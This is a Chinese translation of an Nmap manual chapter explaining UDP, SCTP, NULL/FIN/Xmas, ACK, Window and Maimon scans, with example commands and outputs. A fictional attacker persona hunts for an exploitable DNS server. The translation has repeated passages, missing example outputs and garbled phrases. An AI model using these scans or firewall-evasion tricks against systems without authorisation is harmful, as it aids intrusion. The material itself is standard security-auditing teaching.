Starting Nmap ( http://nmap.org ) Nmap scan report for scanme.nmap.org (64.13.134.52) Not shown: 994 filtered ports PORT STATE SERVICE 22/tcp open ssh 25/tcp closed smtp 53/tcp open domain 70/tcp closed gopher 80/tcp open http 113/tcp closed auth Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds
-sU(UDP扫描)
尽管Internet上大多数流行的服务都基于TCP协议运行,但UDP [5]服务却得到了广泛的部署。 DNS,SNMP和DHCP(注册端口53、161 / 162和67/68)是最常见的三种。 由于UDP扫描通常比TCP慢且困难,因此某些安全审计员会忽略这些端口。 这是一个错误,因为可漏洞利用的UDP服务非常普遍,攻击者当然不会忽略整个协议。 幸运的是,Nmap可以帮助清点UDP端口。
UDP扫描通过-sU选项激活。 可以将其与TCP扫描类型(例如SYN扫描(-sS))组合使用,以在同一运行期间检查两个协议。
UDP扫描通过将UDP数据包发送到每个目标端口来工作。 对于某些常见端口(例如53和161),将发送协议特定的有效负载以提高响应速度,但对于大多数端口来说,除非指定了 --data, --data-string, 或 --data-length 选项,否则数据包是空的。 如果返回ICMP端口不可达错误(类型3,代码3),则该端口关闭。 其他ICMP无法访问的错误(类型3,代码0、1、2、9、10或13)将端口标记为已过滤。 有时,服务会以UDP数据包作为响应,证明它是开放的。 重传后,如果未收到响应,则将端口分类为已过滤。 这意味着端口可能是开放的,或者数据包过滤器阻止通信。 版本检测(-sV)可用于帮助区分真正开放的端口和已过滤的端口。
UDP扫描的一大挑战是快速进行。 打开和过滤的端口很少发送任何响应,从而使Nmap超时重传,以防探针或响应丢失。 关闭端口通常是一个更大的问题。 它们通常会发回ICMP端口无法访问的错误。但与关闭的TCP端口响应的SYN或连接扫描而发送的RST数据包不同,默认情况下,许多主机对ICMP端口不可达消息的速率进行限制。 Linux和Solaris对此特别严格。 例如,Linux 2.4.20内核将目标不可达消息限制为每秒1条消息(在net / ipv4 / icmp.c中)。
Nmap检测到速率限制并相应地放慢速度以避免无用的数据包充斥网络而被目标机器丢弃。 不幸的是,Linux风格的每秒1个数据包的限制使65,536端口的扫描耗时超过18个小时。 加快UDP扫描速度的办法包括平行扫描更多的主机,先快速扫描流行的端口,从防火墙后面扫描以及使用--host-timeout跳过慢速主机。
不要忘记 UDP 端口——它们也提供了大量的安全漏洞。
译者注:udp扫描存在两大问题,端口无响应和花费时间长,解决的办法分别是发送特制数据包和性能优化
对于大多数端口,此数据包将为空(无负载),但对于一些更常见的端口,将发送特定于协议的负载。 根据响应或缺少响应,端口被分配到四种状态之一,如 表 5.3所示。
表 5.3。Nmap 如何解释对 UDP 探测的响应
探测响应 指定状态 来自目标端口的任何 UDP 响应(不常见) open
未收到响应(即使在重传之后) open|filtered
ICMP 端口不可达错误(类型 3,代码 3) closed
其他 ICMP 不可达错误(类型 3,代码 1、2、9、10 或 13) filtered
这张表中最奇怪的元素可能是
open|filtered
状态。 这是 UDP 扫描面临的最大挑战的一个迹象:开放端口很少响应空探测。Nmap 具有特定于协议的有效载荷的那些端口更有可能得到响应并被标记open
,但对于其他端口,目标 TCP/IP 栈只是将空数据包传递给侦听应用程序,该应用程序通常会立即把它当作无效而丢弃。如果所有其他状态的端口都能得到响应,那么开放的端口都可以通过排除法推断出来。不幸的是,众所周知,防火墙和过滤设备也会丢弃数据包而没有响应。所以,当Nmap在多次尝试后没有收到响应时,它不能确定该端口是开放的还是过滤的。当 Nmap 发布时,过滤设备非常罕见,以至于 Nmap可以(而且确实)简单地认为端口是开放的。互联网现在得到了更好的保护,因此 Nmap 在 2004 年(3.70 版)更改为把无响应的UDP端口报告为开放或过滤的。我们可以在示例 5.4中看到这一点,它显示 Ereet 正在扫描一个名为 Felix 的 Linux 机器。
例 5.4。UDP 扫描示例krad#nmap -sU -v felix
Starting Nmap ( http://nmap.org ) Nmap scan report for felix.nmap.org (192.168.0.42) (The 997 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcpserver 111/udp open|filtered rpcbind MAC Address: 00:02:E3:14:11:02 (Lite-on Communications) Nmap done: 1 IP address (1 host up) scanned in 999.25 seconds
对 Felix 的扫描显示了
open|filtered
歧义问题以及另一个问题:UDP 扫描可能很慢。由于 Felix 和大多数其他 Linux 系统执行的 ICMP 响应速率限制,在这种情况下扫描一千个端口需要将近 17 分钟。Nmap 提供了解决这两个问题的方法,如下两节所述。区分开放和过滤的 UDP 端口
在 Felix 扫描的情况下,除了三个端口之外,所有
open|filtered
端口都是closed
. 因此,扫描仍然成功地将潜在的开放端口缩小到少数几个。情况并非总是如此。 示例 5.5显示了针对重度过滤站点 Scanme 的 UDP 扫描。例 5.5。UDP 扫描示例
在这种情况下,扫描根本没有缩小开放端口的范围。所有 1000 都是
open|filtered
. 需要一种新的战略。表5.3,"Nmap如何解释对UDP探测的响应 "显示,当Nmap未能从它对一个特定端口的UDP探测中收到任何响应时,就会出现开放|过滤的状态。然而,它也显示,在极少数情况下,监听某个端口的UDP服务会作出回应,证明这个端口是开放的。这些服务不经常响应的原因是Nmap发送的空数据包被认为是无效的。不幸的是,UDP服务通常定义他们自己的数据包结构,而不是遵守Nmap可以总是发送的一些通用的格式。一个SNMP数据包和一个SunRPC、DHCP或DNS请求数据包看起来完全不同。
要为每个流行的UDP服务发送合适的数据包,Nmap需要一个定义它们的探测格式的大型数据库。幸运的是,Nmap以nmap-service-probes的形式拥有这个数据库,它是第7章,服务和应用程序版本检测中描述的服务和版本检测子系统的一部分。
当用 -sV (或 -A) 启用版本扫描时,它将向每个开放或过滤的端口(以及已知的开放端口)发送 UDP 探针。如果任何探针从一个开放或过滤的端口获得响应,其状态将被改变为开放。在Felix扫描中加入-sV的结果如例5.6所示。
例 5.6。通过版本检测改进 Felix 的 UDP 扫描结果krad#nmap -sUV -F felix.nmap.org
Starting Nmap ( http://nmap.org ) Nmap scan report for felix.nmap.org (192.168.0.42) Not shown: 997 closed ports PORT STATE SERVICE VERSION 53/udp open domain ISC BIND 9.2.1 67/udp open|filtered dhcpserver 111/udp open rpcbind 2 (rpc #100000) MAC Address: 00:02:E3:14:11:02 (Lite-on Communications) Nmap done: 1 IP address (1 host up) scanned in 1037.57 seconds
这次新的扫描显示,111和53号端口肯定是开放的。不过系统并不完美--67号端口仍然是开放的|过滤的。在这种特殊情况下,端口是开放的,但是Nmap没有DHCP的工作版本探测器。另一个棘手的服务是SNMP,它通常只在给出正确的社区字符串时才有反应。许多设备配置的社区字符串是public,但不是所有的都是。虽然这些结果并不完美,但了解三个测试端口中的两个的真实状态仍然是有帮助的。
在成功区分了 Felix 的结果之后,Ereet 又把注意力转向了 Scanme,它上次把所有的端口都列为开放|过滤的。他再次尝试使用版本检测,如例5.7所示。
例5.7. 用版本检测改进Scanme的UDP扫描结果
提示 虽然Ereet最终找到了这个开放的端口,但他犯了一个错误,没有先更新他的Nmap版本。Nmap 5.10BETA1和更新的版本有一个有效载荷系统,如果被选中进行端口扫描或主机发现,它将向三十多个知名的UDP端口发送适当的服务协议请求。虽然它不像版本检测那样全面,但它会迅速识别例5.5中的开放端口53。
这个结果需要一个小时,而之前的 Scanme 扫描需要 5 秒,但这些结果实际上很有用。Ereet 的笑容扩大了,眼睛闪闪发光,这证明了他想要攻破的机器上有一个开放的 ISC BIND 名称服务器。该软件的安全漏洞由来已久,因此他或许可以在这个最新版本中找到漏洞。
Ereet 将把他的 UDP 攻击集中在端口 53 上,因为它被确认是开放的,但他并没有忘记列出的其他 999 端口
open|filtered
。正如我们在 Felix 上使用 dhcpserver 端口所见证的那样,某些开放的 UDP 服务甚至可以躲过在 Nmap 版本检测中。到目前为止,他还只扫描了默认端口,还有 64529 个其他可能打开的端口。作为记录,53 是 Scanme 上唯一开放的 UDP 端口。虽然这种版本检测技术是 Nmap 自动消除
open|filtered
端口歧义的唯一方法,但有一些技巧可以手动尝试。有时,专门的跟踪路由会有所帮助。您可以使用 Nmap 或 Nping 等工具对已知打开的 TCP 或 UDP 端口进行跟踪路由。 然后对有问题的 UDP 端口尝试相同的操作。跳数的差异可以区分开放端口和过滤端口。Ereet 在示例 5.8中尝试对 Scanme 进行此操作。第一个命令对已知打开的端口 53 执行 UDP 跟踪路由。第二个命令对假定关闭的端口 54 执行相同的操作。前几个跃点已被省略以节省空间。例 5.8。尝试用 TTL 差异消除 UDP 端口的歧义krad#nping --udp --traceroute -c 13 -p 53 scanme.nmap.org
Starting Nping ( http://nmap.org/nping ) SENT (7.0370s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=8 id=4826 iplen=28 RCVD (7.1010s) ICMP 4.69.134.222 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=248 id=38454 iplen=56 SENT (8.0400s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=9 id=38166 iplen=28 RCVD (8.1050s) ICMP 4.68.18.204 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=247 id=39583 iplen=56 SENT (9.0420s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=10 id=6788 iplen=28 RCVD (9.1080s) ICMP 4.59.4.78 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=246 id=59897 iplen=56 SENT (10.0440s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=11 id=366 iplen=28 RCVD (10.1100s) ICMP 69.36.239.221 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=243 id=42710 iplen=56 SENT (11.0470s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=12 id=63478 iplen=28 SENT (12.0490s) UDP 192.168.0.21:53 > 64.13.134.52:53 ttl=13 id=56653 iplen=28 Max rtt: 73.003ms | Min rtt: 0.540ms | Avg rtt: 48.731ms Raw packets sent: 13 (364B) | Rcvd: 10 (560B) | Lost: 3 (23.08%) Tx time: 12.02836s | Tx bytes/s: 30.26 | Tx pkts/s: 1.08 Rx time: 13.02994s | Rx bytes/s: 42.98 | Rx pkts/s: 0.77 Nping done: 1 IP address pinged in 13.05 seconds krad#nping --udp --traceroute -c 13 -p 54 scanme.nmap.org
Starting Nping ( http://nmap.org/nping ) SENT (7.0370s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=8 id=56481 iplen=28 RCVD (7.1130s) ICMP 4.69.134.214 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=248 id=22437 iplen=56 SENT (8.0400s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=9 id=23264 iplen=28 RCVD (8.1060s) ICMP 4.68.18.76 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=247 id=50214 iplen=56 SENT (9.0430s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=10 id=9101 iplen=28 RCVD (9.1070s) ICMP 4.59.4.78 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=246 id=880 iplen=56 SENT (10.0450s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=11 id=35344 iplen=28 RCVD (10.1110s) ICMP 69.36.239.221 > 192.168.0.21 TTL=0 during transit (type=11/code=0) ttl=243 id=44617 iplen=56 SENT (11.0470s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=12 id=53857 iplen=28 SENT (12.0490s) UDP 192.168.0.21:53 > 64.13.134.52:54 ttl=13 id=986 iplen=28 Max rtt: 76.488ms | Min rtt: 0.546ms | Avg rtt: 48.480ms Raw packets sent: 13 (364B) | Rcvd: 11 (616B) | Lost: 2 (15.38%) Tx time: 12.02908s | Tx bytes/s: 30.26 | Tx pkts/s: 1.08 Rx time: 13.03165s | Rx bytes/s: 47.27 | Rx pkts/s: 0.84 Nping done: 1 IP address pinged in 13.05 seconds在此示例中,Ereet 只能到达开放和封闭端口中的第十一跳。所以这些结果不能用来区分针对这个主机的端口状态。值得一试,并且在很多情况下都有效。它更有可能在屏蔽防火墙的情况下工作 至少比目标主机早一两跳。另一方面,Scanme 正在运行自己的 Linux iptables 基于主机的防火墙。因此,过滤端口和开放端口之间的跳数没有差异。
另一种技术是针对通用端口尝试特定于应用程序的工具。例如,可以针对端口 161 尝试暴力破解 SNMP 社区字符串破解程序。随着 Nmap 的版本检测探测数据库的增长,使用外部专用工具增强其结果的需求减少了。它们对于特殊情况仍然有用,例如具有自定义社区字符串的 SNMP 设备。
加速 UDP 扫描
UDP 扫描的另一大挑战是快速完成。打开和过滤的端口很少发送任何响应,让 Nmap 超时然后重新传输,以防探测或响应丢失。封闭的港口往往是一个更大的问题。他们通常会发回 ICMP 端口不可达错误。但与关闭的 TCP 端口发送 RST 数据包以响应 SYN 或连接扫描不同,许多主机默认限制 ICMP 端口不可达消息的速率。Linux 和 Solaris 对此特别严格。 例如,Felix 上的 Linux 2.4.20 内核将目标不可达消息限制为每秒一条(in
net/ipv4/icmp.c
)。这就解释了为什么示例 5.4 “UDP 扫描示例”中的扫描如此缓慢。Nmap 检测速率限制并相应减慢速度,以避免目标机器将丢弃的无用数据包淹没网络。不幸的是,每秒一个数据包的 Linux 风格限制使得 65,536 端口扫描需要超过 18 个小时。以下是一些提高 UDP 扫描性能的建议。另请阅读第 6 章,优化 Nmap 性能以获得更详细的讨论和一般建议。
- 增加主机并行度
如果 Nmap 每秒只收到一个来自单个目标主机的端口不可达错误,它可以通过一次扫描 100 个这样的主机接收 100/秒。通过将一个较大的值(例如 100)传递给 .
--min-hostgroup
- 先扫描热门端口
很少使用 UDP 端口号。扫描最常见的 100 个 UDP 端口(使用该
-F
选项)将很快完成。然后,您可以在后台启动对网络的多天 65K 端口扫描时调查这些结果。- 添加
--version-intensity 0
到版本检测扫描如上一节所述,
-sV
通常需要版本检测 ( ) 来区分打开的 UDP 端口和过滤的 UDP 端口。版本检测相对较慢,因为它涉及向目标机器上找到的每个端口open
或端口发送大量特定于应用程序协议的探测。open|filtered
指定--version-intensity 0
指示 Nmap 仅尝试最有可能对给定端口号有效的探测。它通过使用nmap-service-probes
文件中的数据来做到这一点。此选项的性能影响是巨大的,本节稍后将对此进行演示。- 从防火墙后面扫描
与 TCP 一样,数据包过滤器可以显着减慢扫描速度。许多现代防火墙使设置数据包速率限制变得容易。如果您可以通过从防火墙后面而不是跨防火墙启动扫描来绕过该问题,请这样做。
- 用于
--host-timeout
跳过慢速主机ICMP 速率限制主机的扫描时间比那些使用快速目的地不可达数据包响应每个探测的主机要多几个数量级。指定最大扫描时间(例如
15m
15 分钟)会导致 Nmap 如果在这么长的时间内没有完成对单个主机的扫描,就会放弃对它们的扫描。这使您可以快速扫描所有响应主机。然后,您可以在后台处理慢速主机。- 使用
-v
和放松启用详细程度 (
-v
) 后,Nmap 会提供每个主机完成扫描的估计时间。没有必要仔细观察。睡一觉,去你最喜欢的酒吧,读一本书,完成其他工作,或者在 Nmap 为你不知疲倦地扫描的同时娱乐自己。需要优化 UDP 扫描的一个完美示例是 Example 5.7, “Improving Scanme's UDP scan results with version detection”。扫描得到了想要的数据,但是扫描这台主机却花了一个多小时!在示例 5.9中,Ereet 再次运行该扫描。这次他添加了
-F --version-intensity 0
选项,一小时的扫描时间缩短到了 13 秒!然而,检测到相同的关键信息(在端口 53 上运行的 ISC 绑定守护程序)。例 5.9。优化 UDP 扫描时间
-sY(SCTP初始化扫描)
SCTP [6]是TCP和UDP协议的一个相对较新的替代方案,它结合了TCP和UDP的大多数特征,并且还增加了新功能,例如多宿主和多流。 它主要用于与SS7 / SIGTRAN相关的服务,但也有可能用于其他应用程序。 SCTP INIT扫描与TCP SYN扫描的SCTP等效。 它可以快速执行,在不受限制防火墙阻碍的快速网络上每秒扫描数千个端口。 像SYN扫描一样,INIT扫描也相对不引人注目且隐秘,因为它从未完成SCTP关联。 它还可以清晰可靠地区分打开,关闭和过滤状态。
此技术通常称为半开扫描,因为您没有打开完整的SCTP关联。 您发送一个INIT块,就好像您要打开一个真实的关联,然后等待响应一样。 INIT-ACK块表示端口正在监听(打开),而ABORT块表示未监听。 如果在几次重传后仍未收到响应,则将该端口标记为已过滤。 如果收到ICMP无法访问的错误(类型3,代码0、1、2、3、9、10或13),该端口也将标记为已过滤。
-sN;-sF;-sX(TCP NULL,FIN和Xmas扫描)
这三种扫描类型(使用下一节中介绍的–scanflags选项甚至可以进行更多扫描)利用TCP RFC中的细微漏洞来区分开放端口和关闭端口。 RFC 793的第65页说:“如果[目标]端口状态为CLOSED...。不含RST的传入数据段会导致发送RST作为响应。” 然后,下一页讨论未设置SYN,RST或ACK位的情况下发送到开放端口的数据包,并指出:“您不太可能收到,但如果真收到,则丢弃数据该段并返回。”
扫描符合此RFC文本的系统时,如果端口关闭,则任何不包含SYN,RST或ACK位的数据包都将导致返回RST,而如果端口打开则根本没有响应。 只要不包含这三个位,则其他三个位(FIN,PSH和URG)的任何组合都可以。 Nmap利用三种扫描类型来利用这一点:
Null scan(-sN)
不设置任何位(TCP标志头为0)
FIN scan(-sF)
只设置TCP FIN位。
Xmas scan(-sX)
设置FIN,PSH和URG标志,像圣诞树一样照亮数据包。
这三种扫描类型在行为上完全相同,只是在探测数据包中设置TCP标志不同。 如果接收到RST数据包,则将该端口视为已关闭,而没有响应意味着该端口已被打开。 如果收到ICMP无法访问的错误(类型3,代码0、1、2、3、9、10或13),则将该端口标记为已过滤。
如表 5.4所示处理响应。
表 5.4。Nmap 如何解释对 NULL、FIN 或 Xmas 扫描探针的响应
探测响应 指定状态 未收到响应(即使在重传之后) open|filtered
TCP RST 数据包 closed
ICMP 不可达错误(类型 3,代码 1、2、3、9、10 或 13) filtered
这些扫描类型的主要优点是它们可以潜入某些无状态防火墙和数据包过滤路由器。此类防火墙尝试通过阻止任何设置了 SYN 位并无 ACK 的 TCP 数据包来阻止传入的 TCP 连接(同时允许出站连接)。这种配置很常见,以至于 Linux iptables firewall 命令提供了一个特殊的
--syn
选项来实现它。NULL、FIN 和 Xmas 扫描没有 SYN 位,从而直接通过这些规则。另一个优点是这些扫描类型甚至比SYN扫描更隐蔽。 不过不要依赖这一点-大多数现代IDS产品都可以配置为检测它们。
最大的缺点是,并非所有系统都严格遵循RFC 793。 无论端口是否打开,许多系统都会向探针发送RST响应。 这会导致所有端口都标记为关闭。 执行此操作的主要操作系统是Microsoft Windows,许多Cisco设备,BSDI和IBM OS / 400。 但是,此扫描确实适用于大多数基于Unix的系统。由于Nmap操作系统检测是针对这个怪癖的,您可以通过检查nmap-os-db文件了解扫描是否对某个特定类型的系统有效。测试T2向一个开放的端口发送一个NULL数据包。因此,如果你看到像T2(R=N)这样的行,该系统似乎支持RFC,这些扫描中的一个应该对它有效。如果T2行较长,说明该系统违反了RFC的规定,发送了一个响应,这些扫描就不会起作用。第8章,远程操作系统检测进一步详细解释了操作系统指纹。
这些扫描的另一个缺点是它们不能区分开放端口和某些被过滤的端口。如果数据包过滤器发送一个ICMP目标禁止错误,Nmap知道一个端口被过滤了。但是大多数过滤器只是丢弃被禁止的探测而没有任何反应,使端口看起来是开放的。由于Nmap不能确定是哪种情况,它把无响应的端口标记为开放|过滤。添加版本检测(-sV)可以消除歧义,就像它对UDP扫描所做的那样,但这有损于这种扫描的隐秘性。如果你愿意并且能够连接到这些端口,你还不如使用SYN扫描。
使用这些扫描方法很简单。只要加上 -sN, -sF, 或 -sX 选项来指定扫描类型。例5.10显示了两个例子。第一个,针对Para的FIN扫描,识别了所有五个开放的端口(作为开放|过滤)。下一个执行,对scanme.nmap.org进行的Xmas扫描效果并不理想。它检测到关闭的端口,但不能区分995个过滤的端口和4个开放的端口,所有999个都被列为开放|过滤。这说明了为什么Nmap提供这么多扫描方法。没有一种技术在所有情况下都是最好的。Ereet将不得不尝试另一种方法来了解Scanme。
例5.10. FIN和Xmas扫描实例
krad#nmap -sF -T4 para
Starting Nmap ( http://nmap.org ) Nmap scan report for para (192.168.10.191) Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open|filtered ssh 53/tcp open|filtered domain 111/tcp open|filtered rpcbind 515/tcp open|filtered printer 6000/tcp open|filtered X11 MAC Address: 00:60:1D:38:32:90 (Lucent Technologies) Nmap done: 1 IP address (1 host up) scanned in 4.64 seconds krad#nmap -sX -T4 scanme.nmap.org
Starting Nmap ( http://nmap.org ) Nmap scan report for scanme.nmap.org (64.13.134.52) Not shown: 999 open|filtered ports PORT STATE SERVICE 113/tcp closed auth Nmap done: 1 IP address (1 host up) scanned in 23.11 seconds
展示这些扫描的完整防火墙绕过能力需要相当蹩脚的目标防火墙配置。不幸的是,这些很容易找到。 例 5.11显示了一个名为 Docsrv 的 SCO/Caldera 机器的 SYN 扫描。
例 5.11。Docsrv 的 SYN 扫描#nmap -sS -T4 docsrv.caldera.com
Starting Nmap ( http://nmap.org ) Nmap scan report for docsrv.caldera.com (216.250.128.247) (The 997 ports scanned but not shown below are in state: filtered) PORT STATE SERVICE 80/tcp open http 113/tcp closed auth 507/tcp open crs Nmap done: 1 IP address (1 host up) scanned in 28.62 seconds
这个例子看起来不错。只有两个端口打开,其余端口(113 除外)被过滤。使用现代状态防火墙,FIN 扫描不应产生任何额外信息。然而 Ereet 还是尝试了它,获得了示例 5.12中的输出。
例 5.12。Docsrv 的 FIN 扫描#nmap -sF -T4 docsrv.caldera.com
Starting Nmap ( http://nmap.org ) Nmap scan report for docsrv.caldera.com (216.250.128.247) Not shown: 961 closed ports PORT STATE SERVICE 7/tcp open|filtered echo 9/tcp open|filtered discard 11/tcp open|filtered systat 13/tcp open|filtered daytime 15/tcp open|filtered netstat 19/tcp open|filtered chargen 21/tcp open|filtered ftp 22/tcp open|filtered ssh 23/tcp open|filtered telnet 25/tcp open|filtered smtp 37/tcp open|filtered time 79/tcp open|filtered finger 80/tcp open|filtered http 110/tcp open|filtered pop3 111/tcp open|filtered rpcbind 135/tcp open|filtered msrpc 143/tcp open|filtered imap 360/tcp open|filtered scoi2odialog 389/tcp open|filtered ldap 465/tcp open|filtered smtps 507/tcp open|filtered crs 512/tcp open|filtered exec 513/tcp open|filtered login 514/tcp open|filtered shell 515/tcp open|filtered printer 636/tcp open|filtered ldapssl 712/tcp open|filtered unknown 955/tcp open|filtered unknown 993/tcp open|filtered imaps 995/tcp open|filtered pop3s 1434/tcp open|filtered ms-sql-m 2000/tcp open|filtered callbook 2766/tcp open|filtered listen 3000/tcp open|filtered ppp 3306/tcp open|filtered mysql 6112/tcp open|filtered dtspc 32770/tcp open|filtered sometimes-rpc3 32771/tcp open|filtered sometimes-rpc5 32772/tcp open|filtered sometimes-rpc7 Nmap done: 1 IP address (1 host up) scanned in 7.64 seconds
哇! 这么多明显开放的端口。它们中的大多数可能是开放的,因为只有这39个被过滤,而其他961个被关闭(发送RST数据包)是不正常的。然而,仍有可能一些或全部被过滤而不是开放。FIN扫描不能确定。我们将在本章后面重新审视这个案例并了解更多关于Docsrv的信息。
-sA TCP ACK扫描,只能用于探测防火墙,不能用于端口扫描
该扫描与迄今讨论的其他扫描的不同之处在于,它永远不会确定
open
(甚至open|filtered
)端口。 它用于映射防火墙规则集,确定它们是否是有状态的以及对哪些端口进行了过滤.通过指定-sA
选项启用 ACK 扫描。它的探针数据包只设置了 ACK 标志(除非你使用--scanflags
)。 扫描未过滤的系统时,打开和关闭的端口都将返回RST数据包。 Nmap然后将它们标记为未过滤,这意味着它们可以被ACK数据包访问,但是不确定它们是打开还是关闭。 没有响应或发回某些ICMP错误消息(类型3,代码0、1、2、3、9、10或13)的端口被标记为已过滤。表 5.5提供了完整的详细信息。
表 5.5。Nmap 如何解释对 ACK 扫描探针的响应
探针响应 指定状态 TCP RST 响应 unfiltered
未收到响应(即使在重传之后) filtered
ICMP 不可达错误(类型 3,代码 1、2、3、9、10 或 13) filtered
ACK扫描的用法与其他大多数扫描类型类似,您只需添加一个选项标志,本例中是-sA。例5.15显示了一个针对Scanme的ACK扫描。
例 5.15。典型的 ACK 扫描krad#nmap -sA -T4 scanme.nmap.org
Starting Nmap ( http://nmap.org ) Nmap scan report for scanme.nmap.org (64.13.134.52) Not shown: 994 filtered ports PORT STATE SERVICE 22/tcp unfiltered ssh 25/tcp unfiltered smtp 53/tcp unfiltered domain 70/tcp unfiltered gopher 80/tcp unfiltered http 113/tcp unfiltered auth Nmap done: 1 IP address (1 host up) scanned in 4.01 seconds
ACK 扫描最有趣的用途之一是区分有状态和无状态防火墙。请参阅名为“ACK 扫描”的部分,了解如何做到这一点以及为什么要这样做。
有时,可以使用扫描类型的组合来收集系统的额外信息。作为一个例子,先看看例5.12中的Docsrv的FIN扫描,"Docsrv的FIN扫描"。Nmap在这种情况下发现了关闭的端口,但是其中39个端口被列为开放|过滤,因为Nmap不能用FIN扫描来确定这两种状态。现在看看例5.16 "对Docsrv的ACK扫描 "中同一主机的ACK扫描。这39个先前未识别的端口中的两个被显示为被过滤。其他37个(基于表格上面的默认端口行)处于未过滤状态。这意味着开放或关闭。如果一种扫描类型将一个端口识别为开放或过滤,而另一种扫描类型将其识别为开放或关闭,那么逻辑上讲,它一定是开放的。通过结合两种扫描类型,我们了解到Docsrv上有37个端口是开放的,2个是过滤的,961个是关闭的。虽然逻辑推理在这里很好地确定了端口状态,但这种技术并不总是靠谱的。它假定不同的扫描类型对同一端口总是返回一致的状态,这是不准确的。防火墙和TCP协议栈的属性会导致对同一台机器的不同扫描有明显的不同。针对Docsrv,我们看到SYN扫描认为SSH端口(tcp/22)被过滤了,而ACK扫描则认为它没有被过滤。在探索边界条件和奇怪配置的网络时,解释Nmap的结果是一门艺术,得益于经验和直觉。
例 5.16。Docsrv 的 ACK 扫描#nmap -sA -T4 docsrv.caldera.com
#nmap -sA -T4 docsrv.caldera.com
Starting Nmap ( http://nmap.org ) Nmap scan report for docsrv.caldera.com (216.250.128.247) Not shown: 998 unfiltered ports PORT STATE SERVICE 135/tcp filtered msrpc 1434/tcp filtered ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds
-sW(TCP窗口扫描)
窗口扫描与ACK扫描完全相同,不同之处在于它利用某些系统的实现细节来区分开放端口和关闭端口,而不是在返回RST时始终打印未过滤的端口。 它通过检查返回的RST数据包的TCP窗口字段来完成此操作。 在某些系统上,开放端口使用大于零的窗口大小(即使对于RST数据包也是如此),而关闭端口则使用零窗口。 因此,如果扫描中的TCP窗口值分别为正值或零,则窗口扫描会将端口列举为打开或关闭状态,而不是总是在收到RST返回时将其列举为未过滤的端口。窗口扫描发送与ACK扫描相同的裸ACK探针,解释结果如表5.6所示。
表 5.6。Nmap 如何解释对窗口扫描 ACK 探测的响应
探测响应 指定状态 具有非零窗口字段的 TCP RST 响应 open
具有零窗口字段的 TCP RST 响应 closed
未收到响应(即使在重传之后) filtered
ICMP 不可达错误(类型 3,代码 1、2、3、9、10 或 13) filtered
这种扫描依赖于互联网上少数系统的实现细节,所以你不能总是相信它。不支持它的系统通常会返回所有关闭的端口。当然,也有可能该机器真的没有开放的端口。如果大多数被扫描的端口是关闭的,但有几个常见的端口号(如22、25和53)是开放的,那么该系统很可能是易受影响的。偶尔,系统甚至会显示完全相反的行为。如果你的扫描显示997个开放的端口和三个关闭或过滤的端口,那么这三个很可能是真正开放的端口。
虽然这种扫描并不适合每一种情况,但它在某些情况下是相当有用的。回顾例5.12,"Docsrv的FIN扫描",它显示了许多在基本SYN扫描中没有发现的开放|过滤的端口。问题是,我们无法通过FIN扫描来区分开放和过滤的端口。上一节显示,我们可以通过结合FIN和ACK扫描结果来区分它们。在这种情况下,窗口扫描由于不需要FIN扫描的结果而变得更加简单,如例5.17所示。
例 5.17。docsrv.caldera.com 的窗口扫描
#nmap -sW -T4 docsrv.caldera.com
Starting Nmap ( http://nmap.org ) Nmap scan report for docsrv.caldera.com (216.250.128.247) Not shown: 961 closed ports PORT STATE SERVICE 7/tcp open echo 9/tcp open discard 11/tcp open systat 13/tcp open daytime 15/tcp open netstat 19/tcp open chargen 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 37/tcp open time 79/tcp open finger 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 135/tcp filtered msrpc [14 open ports omitted for brevity] 1434/tcp filtered ms-sql-m 2000/tcp open callbook 2766/tcp open listen 3000/tcp open ppp 3306/tcp open mysql 6112/tcp open dtspc 32770/tcp open sometimes-rpc3 32771/tcp open sometimes-rpc5 32772/tcp open sometimes-rpc7 Nmap done: 1 IP address (1 host up) scanned in 7.30 seconds这些结果正是Ereet想要的! 显示了与FIN扫描相同的39个兴趣端口,但这次它区分了两个过滤的端口(MS-SQL和MSRPC)和37个实际开放的端口。这些是Ereet在上一节中把FIN和ACK扫描结果结合在一起得到的相同结果。验证结果的一致性是对目标网络尝试多种扫描类型的另一个好理由。
-sM(TCP Maimon扫描)
Maimon扫描以其发现者Uriel Maimon命名。 他在《 Phrack》杂志第49期(1996年11月)中描述了该技术。 包含此技术的Nmap在两个版本之后发布。 这种不明显的防火墙规避的扫描类型与NULL,FIN和Xmas扫描完全相同,只是探针为FIN / ACK。 这允许它通过更多的数据包过滤防火墙,其缺点是它适用于比 FIN 扫描更少的系统。根据RFC 793 (TCP),无论端口是开放还是关闭,都应该产生一个RST数据包来响应这样的探针。生一个RST数据包。 但是,Uriel注意到,如果端口打开,许多BSD派生的系统只会丢弃数据包。Nmap利用这一点来确定开放的端口,如表5.7所示。
表 5.7。Nmap 如何解释对 Maimon 扫描探针的响应
探测响应 指定状态 未收到响应(即使在重传之后) open|filtered
TCP RST 数据包 closed
ICMP 不可达错误(类型 3,代码 1、2、3、9、10 或 13) filtered
Maimon 扫描的 Nmap 标志是
-sM
. 尽管此选项在 1996 年非常有用,但现代系统很少出现此错误。他们为所有端口发回 RST,使每个端口看起来都已关闭。这个结果显示在示例 5.18中。例 5.18。Maimon 扫描失败--scanflags 自定义TCP标志扫描
